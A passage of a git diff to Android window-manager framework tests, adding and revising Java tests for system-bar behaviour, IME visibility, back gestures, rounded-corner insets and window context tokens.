-                rootView.getWindowInsetsController().show(ime());
-            });
-            PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
-            getInstrumentation().runOnMainSync(() -> {
-                rootView.getWindowInsetsController().hide(ime());
-            });
-            PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
-        }
-    }
-
-    @Test
-    @FlakyTest(detail = "~1% flaky")
-    public void testSetSystemBarsBehavior_showBarsByTouch() throws InterruptedException {
+        final MockImeSession imeSession = MockImeHelper.createManagedMockImeSession(this);
+        final ImeEventStream stream = imeSession.openEventStream();
         final TestActivity activity = startActivity(TestActivity.class);
+        expectEvent(stream, editorMatcher("onStartInput", activity.mEditTextMarker), TIMEOUT);
+
         final View rootView = activity.getWindow().getDecorView();
-
-        // The show-by-touch behavior will only be applied while navigation bars get hidden.
-        final int types = navigationBars();
-        assumeTrue(rootView.getRootWindowInsets().isVisible(types));
-
-        rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_SHOW_BARS_BY_TOUCH);
-
-        hideInsets(rootView, types);
-
-        // Touching on display can show bars.
-        tapOnDisplay(rootView.getWidth() / 2f, rootView.getHeight() / 2f);
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
+        getInstrumentation().runOnMainSync(() -> {
+            rootView.getWindowInsetsController().show(ime());
+        });
+        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
+        getInstrumentation().runOnMainSync(() -> {
+            rootView.getWindowInsetsController().hide(ime());
+        });
+        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
     }
 
     @Test
-    public void testSetSystemBarsBehavior_showBarsBySwipe() throws InterruptedException {
+    public void testSetSystemBarsBehavior_default() throws InterruptedException {
         final TestActivity activity = startActivity(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
 
@@ -241,7 +228,7 @@
         final int types = statusBars();
         assumeTrue(rootView.getRootWindowInsets().isVisible(types));
 
-        rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_SHOW_BARS_BY_SWIPE);
+        rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_DEFAULT);
 
         hideInsets(rootView, types);
 
@@ -249,6 +236,10 @@
         tapOnDisplay(rootView.getWidth() / 2f, rootView.getHeight() / 2f);
         PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
 
+        // Wait for status bar invisible from InputDispatcher. Otherwise, the following
+        // dragFromTopToCenter might expand notification shade.
+        SystemClock.sleep(TIMEOUT_UPDATING_INPUT_WINDOW);
+
         // Swiping from top of display can show bars.
         dragFromTopToCenter(rootView);
         PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
@@ -272,9 +263,67 @@
         tapOnDisplay(rootView.getWidth() / 2f, rootView.getHeight() / 2f);
         PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
 
+        // Wait for status bar invisible from InputDispatcher. Otherwise, the following
+        // dragFromTopToCenter might expand notification shade.
+        SystemClock.sleep(TIMEOUT_UPDATING_INPUT_WINDOW);
+
         // Swiping from top of display can show transient bars, but apps cannot detect that.
         dragFromTopToCenter(rootView);
-        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
+        // Make sure status bar stays invisible.
+        for (long time = TIMEOUT; time >= 0; time -= TIME_SLICE) {
+            assertFalse(rootView.getRootWindowInsets().isVisible(types));
+            SystemClock.sleep(TIME_SLICE);
+        }
+    }
+
+    @Test
+    public void testSetSystemBarsBehavior_systemGesture_default() throws InterruptedException {
+        final TestActivity activity = startActivity(TestActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+
+        // Assume the current navigation mode has the back gesture.
+        assumeTrue(rootView.getRootWindowInsets().getInsets(systemGestures()).left > 0);
+        assumeTrue(canTriggerBackGesture(rootView));
+
+        rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_DEFAULT);
+        hideInsets(rootView, systemBars());
+
+        // Test if the back gesture can be triggered while system bars are hidden with the behavior.
+        assertTrue(canTriggerBackGesture(rootView));
+    }
+
+    @Test
+    public void testSetSystemBarsBehavior_systemGesture_showTransientBarsBySwipe()
+            throws InterruptedException {
+        final TestActivity activity = startActivity(TestActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+
+        // Assume the current navigation mode has the back gesture.
+        assumeTrue(rootView.getRootWindowInsets().getInsets(systemGestures()).left > 0);
+        assumeTrue(canTriggerBackGesture(rootView));
+
+        rootView.getWindowInsetsController().setSystemBarsBehavior(
+                BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE);
+        hideInsets(rootView, systemBars());
+
+        // Test if the back gesture can be triggered while system bars are hidden with the behavior.
+        assertFalse(canTriggerBackGesture(rootView));
+    }
+
+    private boolean canTriggerBackGesture(View rootView) throws InterruptedException {
+        final boolean[] hasBack = { false };
+        final CountDownLatch latch = new CountDownLatch(1);
+        rootView.findFocus().setOnKeyListener((v, keyCode, event) -> {
+            if (keyCode == KEYCODE_BACK && event.getAction() == ACTION_DOWN) {
+                hasBack[0] = true;
+                latch.countDown();
+                return true;
+            }
+            return false;
+        });
+        dragFromLeftToCenter(rootView);
+        latch.await(1, TimeUnit.SECONDS);
+        return hasBack[0];
     }
 
     @Test
@@ -345,46 +394,6 @@
     }
 
     @Test
-    public void testSetSystemUiVisibilityAfterCleared_showBarsByTouch() throws Exception {
-        final TestActivity activity = startActivity(TestActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-
-        // The show-by-touch behavior will only be applied while navigation bars get hidden.
-        final int types = navigationBars();
-        assumeTrue(rootView.getRootWindowInsets().isVisible(types));
-
-        // If we don't have any of the immersive flags, the default behavior will be show-bars-by-
-        // touch.
-        final int targetFlag = SYSTEM_UI_FLAG_HIDE_NAVIGATION;
-
-        // Use flags to hide navigation bar.
-        ANIMATION_CALLBACK.reset();
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
-            rootView.setSystemUiVisibility(targetFlag);
-        });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
-        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
-
-        // Touching on display can show bars.
-        tapOnDisplay(rootView.getWidth() / 2f, rootView.getHeight() / 2f);
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
-
-        // Use flags to hide navigation bar again.
-        ANIMATION_CALLBACK.reset();
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
-            rootView.setSystemUiVisibility(targetFlag);
-        });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
-        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
-
-        // Touching on display can show bars.
-        tapOnDisplay(rootView.getWidth() / 2f, rootView.getHeight() / 2f);
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
-    }
-
-    @Test
     public void testSetSystemUiVisibilityAfterCleared_showBarsBySwipe() throws Exception {
         final TestActivity activity = startActivity(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
@@ -401,13 +410,17 @@
             rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             rootView.setSystemUiVisibility(targetFlags);
         });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
 
-        getInstrumentation().waitForIdleSync();
+        // Wait for status bar invisible from InputDispatcher. Otherwise, the following
+        // dragFromTopToCenter might expand notification shade.
+        SystemClock.sleep(TIMEOUT_UPDATING_INPUT_WINDOW);
 
         // Swiping from top of display can show bars.
+        ANIMATION_CALLBACK.reset();
         dragFromTopToCenter(rootView);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types)
             && rootView.getSystemUiVisibility() != targetFlags);
 
@@ -417,11 +430,17 @@
             rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             rootView.setSystemUiVisibility(targetFlags);
         });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
 
+        // Wait for status bar invisible from InputDispatcher. Otherwise, the following
+        // dragFromTopToCenter might expand notification shade.
+        SystemClock.sleep(TIMEOUT_UPDATING_INPUT_WINDOW);
+
         // Swiping from top of display can show bars.
+        ANIMATION_CALLBACK.reset();
         dragFromTopToCenter(rootView);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
 
         // The swipe action brings down the notification shade which causes subsequent tests to
@@ -448,7 +467,7 @@
             rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             rootView.setSystemUiVisibility(SYSTEM_UI_FLAG_FULLSCREEN);
         });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
 
         // Clearing the flag can show status bar.
@@ -463,7 +482,7 @@
             rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             rootView.setSystemUiVisibility(SYSTEM_UI_FLAG_FULLSCREEN);
         });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
 
         // Clearing the flag can show status bar.
@@ -477,7 +496,7 @@
     public void testHideOnCreate() throws Exception {
         final TestHideOnCreateActivity activity = startActivity(TestHideOnCreateActivity.class);
         final View rootView = activity.getWindow().getDecorView();
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT,
                 () -> !rootView.getRootWindowInsets().isVisible(statusBars())
                         && !rootView.getRootWindowInsets().isVisible(navigationBars()));
@@ -488,13 +507,41 @@
         final Instrumentation instrumentation = getInstrumentation();
         assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
                 nullValue());
+        MockImeHelper.createManagedMockImeSession(this);
+        final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+        ANIMATION_CALLBACK.waitForFinishing();
+        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
+    }
+
+    @Test
+    public void testShowImeOnCreate_doesntCauseImeToReappearWhenDialogIsShown() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                nullValue());
         try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
                 instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
             final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
             final View rootView = activity.getWindow().getDecorView();
-            ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
             PollingCheck.waitFor(TIMEOUT,
                     () -> rootView.getRootWindowInsets().isVisible(ime()));
+            ANIMATION_CALLBACK.waitForFinishing();
+            ANIMATION_CALLBACK.reset();
+            getInstrumentation().runOnMainSync(() ->  {
+                rootView.getWindowInsetsController().hide(ime());
+            });
+            PollingCheck.waitFor(TIMEOUT,
+                    () -> !rootView.getRootWindowInsets().isVisible(ime()));
+            ANIMATION_CALLBACK.waitForFinishing();
+            getInstrumentation().runOnMainSync(() ->  {
+                activity.showAltImDialog();
+            });
+
+            for (long time = TIMEOUT; time >= 0; time -= TIME_SLICE) {
+                assertFalse("IME visible when it shouldn't be",
+                        rootView.getRootWindowInsets().isVisible(ime()));
+                SystemClock.sleep(TIME_SLICE);
+            }
         }
     }
 
@@ -503,7 +550,7 @@
         // Start an activity which hides system bars.
         final TestHideOnCreateActivity activity = startActivity(TestHideOnCreateActivity.class);
         final View rootView = activity.getWindow().getDecorView();
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT,
                 () -> !rootView.getRootWindowInsets().isVisible(statusBars())
                         && !rootView.getRootWindowInsets().isVisible(navigationBars()));
@@ -534,7 +581,7 @@
     public void testWindowInsetsController_availableAfterAddView() throws Exception {
         final TestHideOnCreateActivity activity = startActivity(TestHideOnCreateActivity.class);
         final View rootView = activity.getWindow().getDecorView();
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT,
                 () -> !rootView.getRootWindowInsets().isVisible(statusBars())
                         && !rootView.getRootWindowInsets().isVisible(navigationBars()));
@@ -552,6 +599,94 @@
 
     }
 
+    @Test
+    public void testDispatchApplyWindowInsetsCount_systemBars() throws InterruptedException {
+        final TestActivity activity = startActivity(TestActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+        getInstrumentation().waitForIdleSync();
+
+        // Assume we have at least one visible system bar.
+        assumeTrue(rootView.getRootWindowInsets().isVisible(statusBars())
+                || rootView.getRootWindowInsets().isVisible(navigationBars()));
+
+        getInstrumentation().runOnMainSync(() -> {
+            // This makes the window frame stable while changing the system bar visibility.
+            final WindowManager.LayoutParams attrs = activity.getWindow().getAttributes();
+            attrs.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            activity.getWindow().setAttributes(attrs);
+        });
+        getInstrumentation().waitForIdleSync();
+
+        final int[] dispatchApplyWindowInsetsCount = {0};
+        rootView.setOnApplyWindowInsetsListener((v, insets) -> {
+            dispatchApplyWindowInsetsCount[0]++;
+            return v.onApplyWindowInsets(insets);
+        });
+
+        // One hide-system-bar call...
+        ANIMATION_CALLBACK.reset();
+        getInstrumentation().runOnMainSync(() -> {
+            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
+            rootView.getWindowInsetsController().hide(systemBars());
+        });
+        ANIMATION_CALLBACK.waitForFinishing();
+
+        // ... should only trigger one dispatchApplyWindowInsets
+        assertEquals(1, dispatchApplyWindowInsetsCount[0]);
+
+        // One show-system-bar call...
+        dispatchApplyWindowInsetsCount[0] = 0;
+        ANIMATION_CALLBACK.reset();
+        getInstrumentation().runOnMainSync(() -> {
+            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
+            rootView.getWindowInsetsController().show(systemBars());
+        });
+        ANIMATION_CALLBACK.waitForFinishing();
+
+        // ... should only trigger one dispatchApplyWindowInsets
+        assertEquals(1, dispatchApplyWindowInsetsCount[0]);
+    }
+
+    @Test
+    public void testDispatchApplyWindowInsetsCount_ime() throws Exception {
+        assumeThat(MockImeSession.getUnavailabilityReason(getInstrumentation().getContext()),
+                nullValue());
+
+        MockImeHelper.createManagedMockImeSession(this);
+        final TestActivity activity = startActivity(TestActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+        getInstrumentation().waitForIdleSync();
+
+        final int[] dispatchApplyWindowInsetsCount = {0};
+        rootView.setOnApplyWindowInsetsListener((v, insets) -> {
+            dispatchApplyWindowInsetsCount[0]++;
+            return v.onApplyWindowInsets(insets);
+        });
+
+        // One show-ime call...
+        ANIMATION_CALLBACK.reset();
+        getInstrumentation().runOnMainSync(() -> {
+            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
+            rootView.getWindowInsetsController().show(ime());
+        });
+        ANIMATION_CALLBACK.waitForFinishing();
+
+        // ... should only trigger one dispatchApplyWindowInsets
+        assertEquals(1, dispatchApplyWindowInsetsCount[0]);
+
+        // One hide-ime call...
+        dispatchApplyWindowInsetsCount[0] = 0;
+        ANIMATION_CALLBACK.reset();
+        getInstrumentation().runOnMainSync(() -> {
+            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
+            rootView.getWindowInsetsController().hide(ime());
+        });
+        ANIMATION_CALLBACK.waitForFinishing();
+
+        // ... should only trigger one dispatchApplyWindowInsets
+        assertEquals(1, dispatchApplyWindowInsetsCount[0]);
+    }
+
     private static void broadcastCloseSystemDialogs() {
         executeShellCommand(AM_BROADCAST_CLOSE_SYSTEM_DIALOGS);
     }
@@ -566,7 +701,7 @@
             view.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             view.getWindowInsetsController().hide(types);
         });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+        ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> !view.getRootWindowInsets().isVisible(types));
     }
 
@@ -579,6 +714,11 @@
                 view.getWidth() / 2f, view.getHeight() / 2f);
     }
 
+    private void dragFromLeftToCenter(View view) {
+        dragOnDisplay(0 /* downX */, view.getHeight() / 2f,
+                view.getWidth() / 2f, view.getHeight() / 2f);
+    }
+
     private void dragOnDisplay(float downX, float downY, float upX, float upY) {
         final long downTime = SystemClock.elapsedRealtime();
 
@@ -608,6 +748,8 @@
 
     private static class AnimationCallback extends WindowInsetsAnimation.Callback {
 
+        private static final long ANIMATION_TIMEOUT = 5000; // milliseconds
+
         private boolean mFinished = false;
 
         AnimationCallback() {
@@ -628,10 +770,10 @@
             }
         }
 
-        void waitForFinishing(long timeout) throws InterruptedException {
+        void waitForFinishing() throws InterruptedException {
             synchronized (this) {
                 if (!mFinished) {
-                    wait(timeout);
+                    wait(ANIMATION_TIMEOUT);
                 }
             }
         }
@@ -689,5 +831,13 @@
             getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             getWindow().getInsetsController().show(ime());
         }
+
+        void showAltImDialog() {
+            AlertDialog dialog = new AlertDialog.Builder(this)
+                    .setTitle("TestDialog")
+                    .create();
+            dialog.getWindow().addFlags(FLAG_ALT_FOCUSABLE_IM);
+            dialog.show();
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index 067b390..dbbb4fd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -16,9 +16,6 @@
 
 package android.server.wm;
 
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
@@ -135,16 +132,12 @@
         final RotationSession rotationSession = createManagedRotationSession();
         rotationSession.set(naturalOrientationPortrait ? ROTATION_90 : ROTATION_0);
 
-        launchActivityInSplitScreenWithRecents(LAUNCHING_ACTIVITY);
         final TestActivity activity = launchAndWait(mTestActivity);
-        mWmState.computeState(mTestActivityComponentName);
-
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        mWmState.computeState(LAUNCHING_ACTIVITY, mTestActivityComponentName);
+        mWmState.waitForValidState(mTestActivityComponentName);
+        final int taskId = mWmState.getTaskByActivity(mTestActivityComponentName).mTaskId;
+        launchActivityInPrimarySplit(LAUNCHING_ACTIVITY);
+        mTaskOrganizer.putTaskInSplitSecondary(taskId);
+        mWmState.waitForValidState(mTestActivityComponentName);
 
         // Ensure that top insets are not consumed for LAYOUT_FULLSCREEN
         WindowInsets insets = getOnMainSync(activity::getDispatchedInsets);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsTest.java
index b6a5411..c8162eb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsTest.java
@@ -38,6 +38,7 @@
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
 import android.view.DisplayCutout;
+import android.view.RoundedCorner;
 import android.view.WindowInsets;
 import android.view.WindowInsets.Type;
 
@@ -61,6 +62,14 @@
             Collections.singletonList(new Rect(5, 0, 15, 10)));
     private static final DisplayCutout CUTOUT2 = new DisplayCutout(new Rect(0, 15, 0, 0),
             Collections.singletonList(new Rect(5, 0, 15, 15)));
+    private static final RoundedCorner ROUNDED_CORNER_TOP_LEFT =
+            new RoundedCorner(RoundedCorner.POSITION_TOP_LEFT, 10, 10, 10);
+    private static final RoundedCorner ROUNDED_CORNER_TOP_RIGHT =
+            new RoundedCorner(RoundedCorner.POSITION_TOP_RIGHT, 10, 90, 10);
+    private static final RoundedCorner ROUNDED_CORNER_BOTTOM_RIGHT =
+            new RoundedCorner(RoundedCorner.POSITION_BOTTOM_RIGHT, 10, 90, 190);
+    private static final RoundedCorner ROUNDED_CORNER_BOTTOM_LEFT =
+            new RoundedCorner(RoundedCorner.POSITION_BOTTOM_LEFT, 10, 10, 190);
     private static final int INSET_LEFT = 1;
     private static final int INSET_TOP = 2;
     private static final int INSET_RIGHT = 3;
@@ -75,6 +84,10 @@
                 .setMandatorySystemGestureInsets(Insets.of(13, 14, 15, 16))
                 .setTappableElementInsets(Insets.of(17, 18, 19, 20))
                 .setDisplayCutout(CUTOUT)
+                .setRoundedCorner(RoundedCorner.POSITION_TOP_LEFT, ROUNDED_CORNER_TOP_LEFT)
+                .setRoundedCorner(RoundedCorner.POSITION_TOP_RIGHT, ROUNDED_CORNER_TOP_RIGHT)
+                .setRoundedCorner(RoundedCorner.POSITION_BOTTOM_RIGHT, ROUNDED_CORNER_BOTTOM_RIGHT)
+                .setRoundedCorner(RoundedCorner.POSITION_BOTTOM_LEFT, ROUNDED_CORNER_BOTTOM_LEFT)
                 .build();
 
         assertEquals(Insets.of(1, 2, 3, 4), insets.getSystemWindowInsets());
@@ -84,6 +97,14 @@
         assertEquals(Insets.of(17, 18, 19, 20), insets.getTappableElementInsets());
         assertSame(CUTOUT, insets.getDisplayCutout());
         assertEquals(getCutoutSafeInsets(insets), insets.getInsets(Type.displayCutout()));
+        assertEquals(ROUNDED_CORNER_TOP_LEFT,
+                insets.getRoundedCorner(RoundedCorner.POSITION_TOP_LEFT));
+        assertEquals(ROUNDED_CORNER_TOP_RIGHT,
+                insets.getRoundedCorner(RoundedCorner.POSITION_TOP_RIGHT));
+        assertEquals(ROUNDED_CORNER_BOTTOM_RIGHT,
+                insets.getRoundedCorner(RoundedCorner.POSITION_BOTTOM_RIGHT));
+        assertEquals(ROUNDED_CORNER_BOTTOM_LEFT,
+                insets.getRoundedCorner(RoundedCorner.POSITION_BOTTOM_LEFT));
     }
 
     @Test
@@ -95,6 +116,10 @@
                 .setMandatorySystemGestureInsets(Insets.of(13, 14, 15, 16))
                 .setTappableElementInsets(Insets.of(17, 18, 19, 20))
                 .setDisplayCutout(CUTOUT)
+                .setRoundedCorner(RoundedCorner.POSITION_TOP_LEFT, ROUNDED_CORNER_TOP_LEFT)
+                .setRoundedCorner(RoundedCorner.POSITION_TOP_RIGHT, ROUNDED_CORNER_TOP_RIGHT)
+                .setRoundedCorner(RoundedCorner.POSITION_BOTTOM_RIGHT, ROUNDED_CORNER_BOTTOM_RIGHT)
+                .setRoundedCorner(RoundedCorner.POSITION_BOTTOM_LEFT, ROUNDED_CORNER_BOTTOM_LEFT)
                 .build();
         final WindowInsets copy = new WindowInsets.Builder(insets).build();
 
@@ -110,6 +135,10 @@
         assertFalse(insets.hasStableInsets());
         assertEquals(Insets.NONE, insets.getSystemGestureInsets());
         assertNull(insets.getDisplayCutout());
+        assertNull(insets.getRoundedCorner(RoundedCorner.POSITION_TOP_LEFT));
+        assertNull(insets.getRoundedCorner(RoundedCorner.POSITION_TOP_RIGHT));
+        assertNull(insets.getRoundedCorner(RoundedCorner.POSITION_BOTTOM_RIGHT));
+        assertNull(insets.getRoundedCorner(RoundedCorner.POSITION_BOTTOM_LEFT));
         assertTrue(insets.isConsumed());
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
index 0cf96d8..f607001 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
@@ -18,9 +18,6 @@
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.server.wm.ActivityManagerTestBase.launchHomeActivityNoWait;
-import static android.server.wm.UiDeviceUtils.pressUnlockButton;
-import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -34,8 +31,6 @@
 
 import com.android.compatibility.common.util.SystemUtil;
 
-import org.junit.Before;
-
 import java.lang.reflect.Array;
 
 import javax.annotation.concurrent.GuardedBy;
@@ -43,13 +38,6 @@
 public class WindowManagerTestBase extends MultiDisplayTestBase {
     static final long TIMEOUT_WINDOW_FOCUS_CHANGED = 1000; // milliseconds
 
-    @Before
-    public void setupBase() {
-        pressWakeupButton();
-        pressUnlockButton();
-        launchHomeActivityNoWait();
-    }
-
     static <T extends FocusableActivity> T startActivity(Class<T> cls) {
         return startActivity(cls, DEFAULT_DISPLAY);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
index fd9892c..5def731 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
@@ -178,6 +178,13 @@
         assertEquals(WindowManager.LayoutParams.LAYOUT_CHANGED,
                 mLayoutParams.copyFrom(params));
         assertEquals(params.verticalWeight, mLayoutParams.verticalWeight, 0.0f);
+
+        params = new WindowManager.LayoutParams();
+        params.setWindowContextToken(new Binder());
+        mLayoutParams = new WindowManager.LayoutParams();
+        // Assert no change returned from copyFrom().
+        assertEquals(0, mLayoutParams.copyFrom(params));
+        assertEquals(params.getWindowContextToken(), mLayoutParams.getWindowContextToken());
     }
 
     @Test
@@ -229,6 +236,7 @@
         mLayoutParams.token = binder;
         mLayoutParams.packageName = PACKAGE_NAME;
         mLayoutParams.setTitle(PARAMS_TITLE);
+        mLayoutParams.setWindowContextToken(binder);
         Parcel parcel = Parcel.obtain();
 
         mLayoutParams.writeToParcel(parcel, 0);
@@ -236,6 +244,7 @@
         WindowManager.LayoutParams out =
             WindowManager.LayoutParams.CREATOR.createFromParcel(parcel);
         assertEquals(0, out.copyFrom(mLayoutParams));
+        assertEquals(binder, out.getWindowContextToken());
 
         try {
             mLayoutParams.writeToParcel(null, 0);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
new file mode 100644
index 0000000..0a9871f
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
@@ -0,0 +1,327 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.server.wm.WindowManagerState.STATE_PAUSED;
+import static android.server.wm.WindowMetricsTestHelper.getBoundsExcludingNavigationBarAndCutout;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.PictureInPictureParams;
+import android.content.ComponentName;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.WindowMetricsTestHelper.OnLayoutChangeListener;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
+
+import org.junit.Test;
+
+/**
